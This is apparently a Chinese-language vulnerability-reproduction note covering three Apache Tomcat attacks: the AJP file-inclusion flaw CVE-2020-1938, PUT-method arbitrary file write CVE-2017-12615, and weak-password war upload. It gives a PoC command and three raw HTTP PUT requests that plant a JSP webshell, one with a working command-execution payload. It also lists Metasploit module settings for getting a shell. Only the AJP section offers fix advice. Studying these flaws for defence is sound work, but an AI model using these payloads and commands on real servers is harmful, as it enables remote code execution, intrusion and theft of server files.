Tomcat_Ajp漏洞
由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。
影响版本:
- Apache Tomcat 6
- Apache Tomcat 7 < 7.0.100
- Apache Tomcat 8 < 8.5.51
- Apache Tomcat 9 < 9.0.31
漏洞编号:
CVE-2020-1938
CNVD-2020-10487
漏洞复现:
靶机:192.168.1.3
环境:tomcat 8.5.23
①端口探测:
靶机8009、8080端口开放。可以进行ajp漏洞探测
② 利用poc读取配置文件,复现漏洞:
poc地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
python poc.py -p 8009 -f "/WEB-INF/web.xml" 192.168.1.3
# 注意poc为py2环境
③修复建议
1.临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />
2.官方下载最新tomcat:https://tomcat.apache.org/
Tomcat PUT 方法任意写文件
利用环境: Windows+Tomcat 7.0.x+;配置文件readonly=false
影响版本:Apache Tomcat 7.0.0 - 7.0.79。实际Tomcat 5-9均存在类似的利用方式,但这不归属于CVE-2017-12615漏洞。配置文件内容如下:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
漏洞编号:
CVE-2017-12615
利用方式1:
PUT /1.jsp%20 HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532
******************shell*************************
这种方式适合之所以可以成功创建jsp文件是因为Windows下不允许文件名以空格结尾,但是尾部添加空格可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理绕过。这种利用方式适用于Windows服务器+Tomcat 7.x
利用方式2:
PUT /1.jsp::$DATA HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532
******************shell*************************
这种方式之所以可行是因为利用了Windows环境下NTFS文件格式的特性,NTFS文件格式存在如下的性质,为此同样可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理。这种利用方式适用于Windows系统+Tomcat 7.x
利用方式3:
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
# 访问127.0.0.1:8080/122.jsp?cmd=calc,弹出计算器
这种利用斜杠/绕过适合Windows系统及Linux系统,覆盖了Tomcat 5.x-9.x。
Tomcat弱口令拿shell
Tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下,如果tomcat后台管理用户存在弱口令,这很容易被利用上传webshell。
弱口令进入后台,上传tomcat.war包,访问上传的shell路径getshell。
MSF复现:
use exploit/multi/http/tomcat_mgr_upload
set rhost 192.168.1.10
set rport 8080
set httppassword tomcat
set httpusername tomcat
exploit
# 分别指定主机+端口+用户名&用户密码。利用成功可进行命令执行